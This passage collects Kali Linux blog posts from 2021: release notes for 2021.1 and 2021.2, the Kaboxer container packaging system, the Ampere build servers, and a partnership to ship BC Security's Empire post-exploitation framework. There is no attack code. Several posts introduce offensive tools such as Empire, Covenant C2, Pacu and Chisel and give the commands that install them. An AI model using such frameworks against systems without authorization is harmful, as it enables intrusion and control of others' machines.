On the subject of upgrading; depending on how old your Kali installation is, you may need to reset your shell resource (e.g. .bashrc & .zshrc) before you can use the “configure prompt” section. This is because it will not have the necessary variables. Should you want to, make sure to backup, reset, and restore
The last thing to point out, when changing the default login shell; please log out and in again (either graphically or remote console) for it to have an effect

It is still early days with Kali-Tweaks, and we already have ideas of what to expand into, but we welcome any suggestions from you!

Kali-Tweaks is still in its infancy, so please be nice & patient with it.

Refreshed Bleeding-Edge Branch

Kali’s Bleeding-Edge branch has been around since March 2013, but we have recently completely restructured the backend.

For those not too familiar with Bleeding-Edge branch, here is a breakdown:

Kali by default opts to be stable where possible when packaging. This means some tools may appear to be “out-dated”
We do this by looking to see when the tool author(s) signals “everything up to to this point is good”, by doing a “point release” (e.g. 1.0 or 2.1)
Developers often use source-code version control, allowing them to track any changes
How programmers use source-code version control depends on their work flow, experience, and team size
- Developers can use a “tag” feature found in most source-code version control to signal when there is a new version (this is what Kali prefers)
- However, some people may say if it makes it to “master” or “main” branch, then it is “production ready”
There are times where it has been “a while” (months or even years) since doing a tag for a stable release (aka point release), and people get frustrated that there are no updates (e.g. hashcat or impacket).
- In other cases, you want the latest code which may include an exploit 0day (e.g. Metasploit-framework, Empire, or Exploit-DB) so waiting for a tag release may not be an option

You may then end up skipping the Kali package and compiling your favorite tool’s source-code. This might then conflict with Kali’s packaging, and it is your responsibility to maintain the program. This is where bleeding-edge branch comes in.

Since moving over to GitLab, we have been able to create Kali-Bot to help with heavy lifting and automation

Automatically package tag’d releases to kali-experimental branch
Automatically package the last commit to kali-bleeding-edge branch

This is a fully automated procedure, as a result, the testing that goes into our packaging is automated as well (unlike anything that is in kali-rolling branch which has manual testing involved). If there has not been a unit test created, its not going to be tested for. This means there is a chance packages will be broken, and more trust goes into the tool author having correctly developed the tool.

If you want to give it a try, have a look at our kali-bleeding-edge documentation to learn how to enable the repository and how to tell apt to select a package from this repository. Once the repository has been enabled, it looks like this:

kali@kali:~$ dpkg -l \
| grep ffuf
ii ffuf 1.3.1-0kali1 amd64 Fast web fuzzer written in Go (program)
kali@kali:~$
kali@kali:~$ sudo apt install -y ffuf/kali-bleeding-edge
...
kali@kali:~$
kali@kali:~$ dpkg -l \
| grep ffuf
ii ffuf 1.3.1+git20210505.1.f032167-0kali1~jan+nus1 amd64 Fast web fuzzer written in Go (program)
kali@kali:~$

Not every tool has made it to the new system yet as there are still many limitations to overcome, but to see what is supported and also how many:

kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-bleeding-edge/main/binary-amd64/Packages' \
| awk -F ': ' '/^Package: /{print $2}'
...
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-bleeding-edge/main/binary-amd64/Packages' \
| awk -F ': ' '/^Package: /{print $2}' \
| wc -l
78
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-experimental/main/binary-amd64/Packages' \
| awk -F ': ' '/^Package: /{print $2}' \
| wc -l
192
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-rolling/main/binary-amd64/Packages' \
| awk -F ': ' '/^Package: /{print $2}' \
| wc -l
59518
kali@kali:~$

The numbers will only grow bigger and better as time goes on, with less bugs in the code and more unit tests in place!

If you are a tool author and want to get your software on the list, please chat to us, and we can show how to enable webhooks!

Disabled Privileged Ports

We have patched our kernel to remove the restriction of requiring privilege permission in order to use TCP & UDP ports under 1024 (meaning 0/TCP-UDP <= 1023/TCP-UDP). This was done because:

We see Kali as a desktop OS, rather than a server
This “well-known” privileged port range is reserved for server services (e.g. 80/TCP HTTP, 443/TCP HTTPS)
With the switch from Kali’s root to non-root user by default, rather than doing a port forward from outside the privilege ports to a restricted port, people were just running the program with super-user permissions instead
- We get it. It’s quicker to run: $ sudo <program>,
- Rather than remembering something like: $ sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8888
- It also can get complex and confusing with a lot of redirects setup in place
- Alternatively people were using authbind to allow certain users to use certain ports
This defeats the point of switching to non-root user!
- Let’s reduce any possible attack surface!

Now, this change won’t appear in all instances as some flavors of Kali operate without our kernel. This depends on which platform you use (such as Cloud instances, Docker or WSL). If you are on a platform that does not use our customized Kernel, this change will not be applied. For example, the top one uses Kali’s kernel on a bare metal install, and below uses Kali in a docker container, so its using the host’s kernel:

kali@kali:~$ uname -r
5.10.0-kali7-amd64
kali@kali:~$
...vs...
$ docker run --rm --interactive --tty kalilinux/kali-rolling:latest uname -r
5.10.25-linuxkit
$

New Tools in Kali

It would not be a Kali release if there were not any new tools added! A quick run down of what’s been added (to Kali’s archive and network repositories):

CloudBrute - Find a company infrastructure, files, and apps on the top cloud providers
Dirsearch - Brute force directories and files in web servers
Feroxbuster - Simple, fast, recursive content discovery
Ghidra - Reverse engineering framework
Pacu - AWS exploitation framework
Peirates - Kubernetes penetration
Quark-Engine - Android malware scoring system
VSCode a.k.a. Visual Studio Code Open Source (“Code-OSS”) - Code editor

Ghidra and VSCode have been included into the kali-linux-large metapackage, so they are included on the installer image for people doing a fresh install. Otherwise you will need to upgrade Kali (if you already have the kali-linux-large install) or manually install them (if you want them!):

kali@kali:~$ sudo apt update && sudo apt install -y ghidra code-oss

A few notes about code-oss (aka VSCode):

We are compiling this from source, rather than using the pre-built binaries
- The upside to this is that telemetry data is disabled by default
- The downside is that some aspects of the marketplace may not work. If you find these limitations a problem, you may wish to uninstall the Kali package and switch to the VSCode pre-built binaries
You also may question why it was named code-oss, rather than code
- Code-OSS is what the source-code calls itself, which is used as the base before the configurations are applied for the pre-compiled binaries that gets distributed as “code”
- As we are using the source-code, we used the variables defined by it
- The two different names help to distinguish the differences between them (also prevents any clashes and conflicts!)
- We also included various aliases in our package to help bridge between the two different versions. Meaning, calling vscode and code will use our package, code-oss, with a friendly notice (when installed)
If you already have the pre-compiled version installed, upgrading Kali will not replace it
- However, when manually installing code-oss, it will then replace it!

Theme Enhancement

Command Line

If you are using ZSH, with the latest Kali profile applied, you can toggle between the two-line prompt and one-line prompt by pressing: CTRL + p (at the same time). This will only have an effect for the current session. If you would like to set it permanently, see kali-tweaks.

Your browser does not support the video tag.

Xfc4

We have switched up the quick launch tray in the top left, by:

Dropping the screen recorder button (as a result package can also be removed, kazam)
Adding a text editor shortcut (this uses mousepad as it is a quick and light)_
- If you are looking for something that is more substantial, try code-oss
Adding in a web browser icon, which starts the default browser (often FireFox)
Adding a drop-down menu to select the user for default terminal (terminal or root terminal & Kali’s default is QTerminal)

To give you an idea of how the toggling between the terminal user works:

Your browser does not support the video tag.

Inside of Thunar (Xfce’s default file manager), if you right-click in the main window, you should have a new option, Open as Root:

Do a fresh Kali install
Create a new user and switch to that
Delete your Xfce profile for the current user and force reboot

kali@kali:~$ mv ~/.config/xfce4{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$ mv ~/.config/qterminal.org{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$ mv ~/.config/qt5ct{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$ mv ~/.config/Thunar{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$
kali@kali:~$ cp -rbi /etc/skel/. ~
kali@kali:~$
kali@kali:~$ xfce4-session-logout --reboot --fast

People who have upgraded, you may have spotted that there is a new default login wallpaper and desktop background, but there are extras as well in this release:

Whilst on the subject of wallpapers, if you have not noticed, previously we had been operating on an refresh cycle about every 6 months, where we would change the default login and desktop as well as included other art work if they were not to your taste. Going forwards, we are aiming to change the defaults at every 20xx.1 release (meaning it happens right at the start of every year). So it will still change again in 6 months, but this will be the last time! We will still aim to add extra wallpapers every 6 months, however, only change the defaults yearly.

Finally, we have updated kali-community-wallpapers & kali-wallpapers-legacy packages as well!

Raspberry Pi Recharged

Two new packages:

kalipi-config - raspi-config on steroids to assist in the initial setup of Kali Linux on a Raspberry Pi
kalipi-tft-config- assist in the initial setup of TFT displays on a Raspberry Pi

And other improvements:

Got built-in Bluetooth working on Raspberry Pi 4 & Raspberry Pi 400 (meaning all Raspberry Pi’s built-in bluetooth work!)
- This is due to bluez, bluez-firmware, and pi-bluetooth packages forked and patched
Raspberry Pi kernel updated to 5.4.83
mt76 devices now work on Raspberry Pi 2 and 3 if you pass the option disable_usb_sg=1 when loading the mt76_usb module
1500% performance improvement
First boot from 20 minutes to 15 seconds
Console scrolling working

Kali NetHunter Updates

Plenty of improvements under the hood, including:

Improved compatibility with dynamic partitions
Improvements to persistence of Magisk root
Improvements to Bluetooth and settings menus
Inclusion of rtl88xxau patches for older kernels in the kernel builder

And the highlight:

Android 11 support for:

Nokia 6.1
OnePlus Nord
OnePlus One
Samsung Galaxy S20 FE 5G
Xiaomi Mi A3
Xiaomi Poco F1

The Kali NetHunter repository now contains 179 kernels for 72 devices and 32 pre-built images are available on our download page

Huge thanks to @kim0coder, @yesimxev, @Svirusx, @Martinvlba, @CaliBerrr, @maade69 and the entire Kali NetHunter community for making this release happen. You absolutely rock!

More Docker support/Parallels support/Bug fixes

There are even more improvements to Kali, that are outside of the above text. Below are other note-worthy items:

Our Kali-Docker images are now available for arm64 and armhf as well as amd64
We have patched pkexec, so now Qt applications which have been ran as root will maintain the dark theme and the HiDPI setting
On a fresh Kali install, wireshark can now be run by unprivileged users
A couple of bugs were fixed in command-not-found, which is the terminal helper that helps you installing missing programs
Accessibility features were not installed by default (this was a mistake on our side that is now fixed)
Fixed a terminal font issue with special characters
Apple M1 users, Parallels is no longer in “Technical Preview” and as part of the release, they’ve fixed Kali image detection.
Win-KeX v2.10 has been released which now supports multiscreen
Kali’s logo is now included in the nerd-fonts project, so, with their next release you’ll be able to customize your terminal with the dragon. If you want to try it now, we’ve created a patched Fira-Code font with these new changes (the code for the logo is \uF32B)

Download Kali Linux 2021.2

Fresh Images: So what are you waiting for? Start grabbing Kali already!

This way you’ll have fewer updates to do.

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ for x in xfce4 qterminal.org qt5ct Thunar; do mv ~/.config/$x{,-$(date +%Y.%m.%d-%H.%M.%S)}; done
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ sudo reboot -f

You should now be on Kali Linux 2021.2. We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2021.2"
VERSION_ID="2021.2"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.10.28-1kali1 (2021-04-12)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.10.0-kali7-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

Kaboxer - Kali Applications Boxer

Tue, 25 May 2021 00:00:00 +0000

On and off for the last 18 months we have been working on Kaboxer, and just before Kali 2021.1, it is ready to say “Hello World” (then it will start shipping you applications).

TL;DR - What is this?

What is the name about, Kaboxer? Kali Applications Boxer

What does that mean? Apps in containers, for packages (a way forward for applications that are hard to package properly). But instead of being stand alone containers, they are integrated into the standard Kali package management systems and can be installed/removed through standard apt commands.

Okay. But what does Kaboxer do? Not every tool is easy to package. There are various criteria to meet, at times some crazy dependency trees or peculiar system modifications. You may need to use a legacy library, or you may need to change a configuration of something that would break another application. What do you do? We work with tool authors to try and make it easier, or we spend many late nights trying to get it to fit or we are just unable to package it.

Enter Kaboxer. Using containers we can put in complex non-standard package into a container and integrate it with the rest of the operating system, and bundle it up into the packaging eco-system. This means you can apt-install a Kaboxer program and use it without needing to take any special steps.

How does Kaboxer benefit me? Kaboxer has a few use-cases, depending on who is using it:

For people using Kali Linux, it is transparent so you will not notice when you are using it (which is why you may not see it as “a big deal”). You just get more tools!
For us Kali developers, this is a game changer.
For other Debian packagers, this may pique your attention.
For tool authors (who want their software in Kali), there is hope for you yet ;-)

What’s the down side to Kaboxer? The size of the application will be larger because it will carry the normal overhead of having to use containers. While the installed package will be small, its installation will download the required container which will consume up to several hundreds of megabytes even for a simple application.

What is going to happen because of Kaboxer? We hope to start to include more tools into Kali Linux that were previously not packable, and have you not realize that you are using them via Kaboxer. Unfortunately, such tools will not make it into our default installation as the size increase for the ISO images would be too significant.

Overview

There are various tools which would be a benefit to Kali users, but suffer from problems that make them hard to ship properly as *.deb packages. This could be because, the tools:

Are not developed with packaging and system integration in mind. They assume they can install specific versions of libraries, or patch libraries, or download pieces of software at runtime rather than at install time. This is against packaging standards and also is bad software engineering practice.
May feel they are entitled to do whatever they please with the operating system or other applications. These actions should not be allowed and the software needs to be isolated. We have seen actions such as:
- Creating users with specific UIDs/GIDs.
- Using paths that go against the Filesystem Hierarchy Standard (FHS).
- Using TCP or UDP ports that are usually affected to other services.
- Reconfiguring existing services.
Interact with external servers (maybe by a insecure method), thus the software itself cannot be fully trusted. As a result, it may be a good idea to isolate such software from valuable or sensitive data that may be present on the system.

A way to provide the isolation required from above would be to use containerization. Containers allow running an application in an isolated environment, with drastically reduced risks of unplanned interaction with the rest of the system (users, services, other applications, existing files, specific versions of libraries, etc.).

Design choices

While we are not excluding to support other containerization solutions, we have opted to start with Docker. It is well-known, widely used, and benefits from a large eco-system of images, thus ensuring its long term viability. Docker containers can be configured in many ways to achieve the various integrations that we need with the host system or even between multiple containers.

The value of Kaboxer is in how it makes it easy to tie together docker containers with the host system, through the usual docker features such as mount points and port redirections, but also through integration with desktop menu entries. All those integrations, as well as the instructions to build or retrieve the docker image, are specified in a single YAML file.

It is that single YAML file that is shipped in the .deb files that we provide in Kali and the post installation script of those packages will transparently download the image so that the application is ready to run afterwards.

Build of Docker images

The build of the docker images is also mediated by Kaboxer but there’s nothing magic, it boils down to calling docker build on a specific Dockerfile with a few variables.

It is up to the packager to write that Dockerfile but that step can be trivial when the upstream project already has a Dockerfile or when it provides a ready-to-use docker image.

Publication of Docker images

This step is so boring that we have automated it with GitLab CI. Every time that we make a change to a repository dedicated to a “kaboxed” application, such as covenant, GitLab CI will rebuild the associated docker image and store it in its image registry.

Integration of the images into the system

Once the app is containerized, we still need to make it available to the user in a seamless way, in a manner that ideally wouldn’t even be noticeable. The user shouldn’t even have to know that the app runs in a container.

We already explained that users continue to interact with Kali packages to install and remove the containerized applications, even though those packages are mostly empty shells running Kaboxer commands in the various maintainer scripts. They do also provide .desktop files so that the applications can be started from the usual desktop menu, and command-line helpers so that they can be started from a terminal without having to know about Kaboxer.

To be able to run docker containers, the users need some elevated permissions: we modified the Kali installer to grant those permissions by default to users created during the initial installation process. For other users, they will have to be added to the Kaboxer group (adduser $USER kaboxer).

Users obviously want their application data to be retained so Kaboxer has facilities to configure volumes shared between the host and the container thus providing persistence even if containers are short-lived. And then depending on the kind of application, you likely need more specific integrations:

For GUI applications, we need the host X11 socket to be accessible.
For web applications, we want to expose the HTTP port and start the web browser on the appropriate URL.

Those basic needs are covered with the current Kaboxer features but it seems likely that other kind of integrations will be required in the future.

If you still want to learn more about Kaboxer, please see its homepage (plus source code), and our documentation (with “Hello World” example).

For examples of “real world” application, you can look at our first “Kaboxed apps”:

Covenant, a framework to highlight the attack surface of .NET. Covenant comes as a server that is started in the background, plus a Web app that runs in the browser.
Firefox Developer Edition, is a web browser and we picked it as it is a complex large GUI application.
Zenmap, the official NMAP GUI. Zenmap relies on deprecated Python 2 libraries that are not available in Kali Linux.

Want to get your hands dirty and give it a try?

kali@kali:~$ sudo apt update && sudo apt -y install covenant-kbx
...
kali@kali:~$
kali@kali:~$ covenant-kbx
Usage: covenant-kbx start|stop
kali@kali:~$
kali@kali:~$ covenant-kbx start
>>> Initializing user data in ~/.local/covenant/data
>>> Starting covenant
Please wait during the start, it can take a long time...
>>> Opening https://127.0.0.1:7443 with a web browser
covenant/default started
Press ENTER to exit
kali@kali:~$
kali@kali:~$ ss -at | grep 7443
LISTEN 0 4096 0.0.0.0:7443 0.0.0.0:*
kali@kali:~$

Do not forget to open up https://localhost:7443 in a web browser!

If you would like to start exploring Kaboxer itself and see what is happening under the hood:

kali@kali:~$ kaboxer
usage: kaboxer [-h] [-v] {run,start,stop,get-meta-file,get-upstream-version,prepare,upgrade,list,ls,build,install,clean,push,save,load,purge} ...
kaboxer: error: the following arguments are required: action
kali@kali:~$
kali@kali:~$ kaboxer ls
App Installed version Available version Packaging revision from YAML Packaging revision from image
-------- ------------------- ------------------- ------------------------------ -------------------------------
covenant 0.6 - 1 1
kali@kali:~$

Lastly, you can track what programs are using Kaboxer in Kali by searching packages ending with -kbx:

kali@kali:~$ apt-cache search --names-only '\-kbx$'
covenant-kbx - .NET command and control framework
firefox-developer-edition-en-us-kbx - Mozilla Firefox web browser - Developer Edition - en-US
zenmap-kbx - The Network Mapper Front End
kali@kali:~$

Ampere Hardware & Kali Linux

Wed, 05 May 2021 00:00:00 +0000

When Ampere partnered with Debian, this caught our eye. We were aware that our current ARM cloud provider was soon ending support for arm64 servers (which we use for our build daemons).

At Kali Linux, one of the things which is important to us, is that we prefer not having to cross-compile our ARM binaries that we ship in our Kali packages. There are various reasons as to why, some of them are:

With a huge list of packages, like the one we are maintaining (600+ at the time of writing), there will be a certain small percent that are not ready to be cross-compiled.
We want to be able to run the upstream test suites as part of the build, and in many case the testing software assumes that you can natively run the binaries that you just built.
We believe in “dogfooding” - we create an Operating System, that works on ARM. We want to use the OS, and the tools in it. We do this on ARM systems for our day-to-day work.

We reached out to Ampere to see if they would be able to help us out. We soon realised they have the same mindset as we do, ARM is the way forward. When developing Kali Linux, we treat ARM devices as “first class citizens”, just like we do with our “desktop” images (amd64/i386). There are many advantages to ARM, such as using less power (which means they don’t need cooling), lighter (handy when traveling to be on site or mailing devices to be a drop box) and cheaper devices (client doesn’t have to return the device!). These make really small form factor devices - which for doing penetration testing or red team exercises on site, expands the possibilities of where to hide various devices (imagination is the only limitation). This is why we try and give the same user experience regardless of the platform you are using Kali on. This is why we have pre-generated images and build scripts for as many different devices as possible

Ampere has various community outreach programs, allowing as many different people as possible to interact with their hardware. The offerings are only expanding, and we now have a new permanent ARM home at Oregon State University’s Open Source Lab where we are building all of our ARM packages, with plans to move our ARM OS images to be built here too in the near future.

It is never a fun task having to re-build systems, but we have noticed a very large advantage of doing so. There was a huge increase in performance from using Ampere’s hardware. The change of environment was noticed straight away, without any changes to our configuration. Below is the first three packages we built and the time differences.

Package	Old (HH:MM:SS)	New (HH:MM:SS)	Difference (HH:MM:SS)	Percent Improvement
Linux Kernel	08:31:38	03:09:40	05:21:53	269.75%
Metasploit-Framework	00:18:00	00:14:30	00:03:30	124.14%
debian-installer	00:24:16	00:14:53	00:09:23	163.05%

The results speak for themselves. Every package is now building drastically quicker. We also believe, with tweaking a few configuration we can gain even more of a performance increase. This is only possible by the increased RAM offering with OSUOSL. This will allow for OverlayFS to be used with tmpfs (RAM file system) which will seamlessly reduce having to access any disk drives.

We are very grateful for Ampere who are now powering our arm64/armhf/armel package build daemons. We will be moving over our ARM images building machine, as well as exploring the opportunity todo various other general services (e.g. web servers) to them given their performance. We are delighted with the partnership. Thank you Ampere! This sort of partnership is what the open-source community is all about. And we are pleased as can be to have a partner like Ampere to rely on with such an important part of our build process.

Kali Linux 2021.1 Release (Command-Not-Found)

Wed, 24 Feb 2021 00:00:00 +0000

Today we’re pushing out the first Kali Linux release of the year with Kali Linux 2021.1. This edition brings enhancements of existing features, and is ready to be downloaded or upgraded if you have an existing Kali Linux installation.

The summary of the changelog since the 2020.4 release from November 2020 is:

Xfce 4.16 - Our preferred and current default desktop environment has been updated and tweaked
KDE 5.20 - Plasma also received a version bump
Terminals - mate-terminal, terminator and tilix all had various work carried out on them
Command Not Found - A helping hand to say if a program needs to be installed
Partnership with more tool authors - BC Security & Joohoi have been producing great tools and we want to support them
New tools & updates - Multiple new tools have been added to Kali and are ready for you
Kali NetHunter - New BusyBox & Rucky version, and boot-animation
Kali ARM - Preliminary support for Parallels on Apple Silicon (Apple M1) & Raspberry Pi 400 (WiFi Support)

The Kali project itself also has a couple different changes:

New Kali website - You may have noticed a few things looking different
Kali newsletter - Rather than you coming to us for updates, we can push them to your inbox

Xfce & KDE Updates

How you choose to interact with Kali is completely up to you. You may want to access Kali locally or remotely, either graphically or on the command line. Even when you pick a method, there are still options you can choose from, such as a desktop environment.

By default, Kali uses Xfce, but during the setup process, allows for GNOME, KDE, or no GUI to be selected. After the setup is complete, you can install even more. We have pre-configurations for Enlightenment, i3, LXDE, and MATE as well.

So when a desktop environment gets an update, they often enhance day-to-day activities for their users. It’s best to hear it straight from the authors, for a tour of what’s changed:

Below is our tweaked GTK3 theme, on Xfce:

Terminals Tweaks

When we use Kali, we spend a significant amount of time using the command line. A lot of the time, we do it using a local terminal (rather than in a console or remote SSH). With the options of desktop environments, there are also choices when it comes to the terminals (same with what shell to use). We have been working away on various terminals (xfce4-terminal, tmux, tilix, konsole, qterminal, and mate-terminal) to “Kali-fy” them:

Finding Commands That Didn’t Want To Be Found

A while ago, we changed the default set of tools installed in Kali. Most users know they can either install a one-off package, or revert back to the old set of defaults (apt install kali-linux-large). But to help communicate our changes (as well as any new tools), we have now included command-not-found by default. This is an “optional” package, which can be removed without removing all of kali-linux-default.

Without command-not-found installed:

┌──(kali㉿kali)-[~]
└─$ gitleaks
gitleaks: command not found

If you are wondering “How does this help me?”, or has the above ever happened to you, we like to think people’s next stage would be to do apt-cache search gitleaks and see it in the network repositories. But we can do better. Now with command-not-found:

┌──(kali㉿kali)-[~]
└─$ gitleaks
Command 'gitleaks' not found, but can be installed with:
sudo apt install gitleaks
┌──(kali㉿kali)-[~]
└─$ gitleakss
Command 'gitleakss' not found, did you mean:
command 'gitleaks' from deb gitleaks
Try: sudo apt install <deb name>
┌──(kali㉿kali)-[~]
└─$ badcmd
badcmd: command not found

As you can see from the above example:

gitleaks - If the command you entered is the name of an executable available in Kali, it will say the package that you need to install (if its not already!)
gitleakss - If you are “fat fingered” and make a typo, it may make a suggestion
badcmd - If you typed in an invalid command that doesn’t exist in Kali, it will give the original message of “command not found”.

So, how can I get this magic? Good question! If you’re:

Doing a fresh install of Kali Linux 2021.1 or later, it will “just happen” during the setup.
Updating Kali and you are using a Bash shell, then it will “just happen” too.
Updating Kali and you are using a Zsh shell, you will need to add the following lines to your ~/.zshrc:

# enable command-not-found if installed
if [ -f /etc/zsh_command_not_found ]; then
. /etc/zsh_command_not_found
fi

But it doesn’t have to end here. By adding COMMAND_NOT_FOUND_INSTALL_PROMPT=1 to your shell’s environment (e.g. ~/.bashrc or ~/.zshrc), command-not-found will take it one step further, and also prompt you if you want to install the missing package. This change is something we will be putting in in a future release.

Hope it helps!

Partnerships with Tools Authors

Carrying on from our previous partnership with byt3bl33d3r, we have expanded to supporting:

BC Security - Giving Kali exclusive early access to “Empire” (powershell-empire) & “StarKiller”
Joohoi - The creator of “Fuzz Faster U Fool (ffuf)”

The announcement with Joohoi is new for Kali 2021.1. Like the previous sponsorships, you can either sponsor him directly to get the latest access to ffuf, use Kali Linux, or wait 30 days until the source code becomes public. However, he has also announced anyone who makes a significant contribution, which gets accepted into the project, also gets access!

New Tools in Kali

It wouldn’t be a Kali release if there weren’t any new tools added! A quick run down of what’s been added (to the network repositories):

Airgeddon - Audit wireless networks
AltDNS - Generates permutations, alterations and mutations of subdomains and then resolves them
Arjun - HTTP parameter discovery suite
Chisel - A fast TCP/UDP tunnel over HTTP
DNSGen - Generates combination of domain names from the provided input
DumpsterDiver - Search secrets in various filetypes
GetAllUrls - Fetch known URLs from AlienVault’s Open Threat Exchange, the Wayback Machine, and Common Crawl
GitLeaks - Searches Git repo’s history for secrets and keys
HTTProbe - Take a list of domains and probe for working HTTP and HTTPS servers
MassDNS - A high-performance DNS stub resolver for bulk lookups and reconnaissance
PSKracker - WPA/WPS toolkit for generating default keys/pins
WordlistRaider - Preparing existing wordlists

Happy hacking!

Kali’s Website

Until recently, the only way you could be reading this would have been from our RSS feed or directly from our blog (as we only recently made the announcement of the Kali Newletter). You may of noticed already, and we said that it was coming, and it finally has - kali.org has had a face-lift!

We have (finally) moved away from WordPress to Hugo. Similarly to Kali, the website will also be a rolling distribution. The recent change is mostly cosmetic and content (both were long overdue), and we have made plans for new features to be added.

Another upside of the switch is that we can take more advantage of what GitLab has to offer. We recently had an interview with GitLab about the switch.

On the subject of interviews, we also had a word with Mr Robot’s ARG Society if you missed that.

Wallpapers

Just a quick little thing, we have tweaked our wallpaper packages:

kali-wallpapers-2020.4 - Kali’s wallpapers from 2020.4 and onwards (for the time being)
kali-wallpapers-2019.4 - Kali’s wallpapers between 2019.4 and 2020.3.
kali-wallpapers-legacy - BackTrack & Kali nostalgic backgrounds
kali-wallpapers-all - Every wallpaper
kali-community-wallpapers - created and submitted by the community (submit yours today!)

With the alterations to the packages, we have taken the time to improve support for Xfce when using them.

Enjoy!

Kali NetHunter Updates

BusyBox, one of the core engines of Kali NetHunter, has received a well deserved upgrade to version “1.32.0-nethunter”. BusyBox is used internally to ensure that NetHunter tools and commands are executed consistently across the vast number of different Android versions and vendor modifications. This change, whilst big, should go unnoticed by users and will help developers to port their code to NetHunter with no hassles at all. @yesimxev has added a handy section to the settings menu, which allows developers to select different BusyBox versions for testing:

Speaking of developers: If you have any cool ideas you’d like to see included in Kali NetHunter or if you would like to contribute to this amazing project, please reach out to us in our forums or on GitLab. We would love to hear from you!

Tools have been updated to the latest versions, notably Rucky - the “modern looking USB Rubber Ducky Editor and Attack Launcher”, which has been completely re-written by its author @mayankmetha and released in the Kali NetHunter App Store as version 2.1.

We’ve also been busy working on the visual aspects of Kali NetHunter, with @s133py adding a stunning new boot-animation to the growing selection:

If you have a cool boot-animation you’d like to share, please submit a merge request to our Kali NetHunter Boot Animation repository.

Kali ARM Updates

As you may have heard, Apple have released new Macs with their own processors, known as Apple Silicon (Apple M1). So far, only Parallels have released something publicly that people can use for virtualization. To that end, we have generated both an installer & live ISOs (kali-linux-2021.1-installer-arm64.iso and kali-linux-2021.1-live-arm64.iso) that can be used with VMs on Apple Silicon Macs. Many thanks to the people who reached out and offered to test and helped us to iron out the bugs. If you’d like to see it in action, David Bombal has put out a video of it.

We have also added support for the Raspberry Pi 400’s wireless card, however it is very important to note that this is not a nexmon firmware, as nexmon does not currently support it.

The Kali ARM build scripts have seen a few more improvements from Francisco Jose Rodriguez Martos and we appreciate the assistance greatly. If you’d like to get involved with ARM, check out the GitLab issue list.

Download Kali Linux 2021.1

Fresh Images: So what are you waiting for? Start downloading already!

Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce weekly builds that you can use as well. If you cannot wait for our next release and you want the latest packages (or bug fixes) when you download the image, you can just use the weekly image instead. This way you’ll have fewer updates to do. Just know that these are automated builds that we do not QA like we do our standard release images. But we gladly take bug reports about those images because we want any issues to be fixed before our next release!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2021.1. We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2021.1"
VERSION_ID="2021.1"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.10.13-1kali1 (2021-02-08)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.10.0-kali3-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

BC Security's Empire/Starkiller & Kali Linux

Tue, 12 Jan 2021 00:00:00 +0000

We have always worked to support the information security community as a whole, and over the years experimented with different ideas (some with a greater success than others). One of the key components to Kali is the tools included (either pre-installed or installed via apt). Joining together infosec professional/hobbyist and tool authors, today we are announcing another partnership: Kali has partnered with BC Security.

BC Security is the team who is currently maintaining the most active fork of Empire. In August 2019, the original maintainers archived the project, but with Open-source projects (as long as they don’t break software licenses) other groups can take someone else’s code and improve upon it. This is exactly what BC Security did, forking the project, to keep the flame of PowerShell Empire alive.

Empire is a post-exploitation framework, which its agents supporting various different Operating Systems (OS). Windows is purely implemented in PowerShell (without powershell.exe!), and Linux/macOS is done in Python 3. Feature rich with various options to bypass various protections (and allows for easy modification for custom evasion), Empire is often a favourite for Command and Control (C2) activity.

We first had interaction with BC Security, when they were porting over the original Empire code base (v2.5) from Python 2 to 3 (as v2 had reached End of Life in January 2020). This is to help ensure Empire is is up-to-date and relevant with the modern software stack. They have also put in the time to increase empires features (growing on the original authors, that malware can be in PowerShell format). BC Security also have created their own “Graphical User Interface (GUI)”, Starkiller, to go along side Empire.

Under their sponsorware model, in order to get the latest version of Empire & Starkiller, you can sponsor to get the latest access, use Kali Linux, or wait 30 days until the source code becomes public. We believe the partnership will aid development of the tool (who doesn’t want new features!), but at the same time allowing access to it for as many people as possible.

With the announcement of the partnership, there are new versions being released:

Empire has reached v3.7
Starkiller is now at v1.6

For more information about the changelog and their views, you can read about on their blog. Afterwards give Empire a try if you’re using Kali Linux!

┌──(kali㉿kali)-[~]
└─$ sudo apt update
┌──(kali㉿kali)-[~]
└─$ sudo apt install -y powershell-empire starkiller
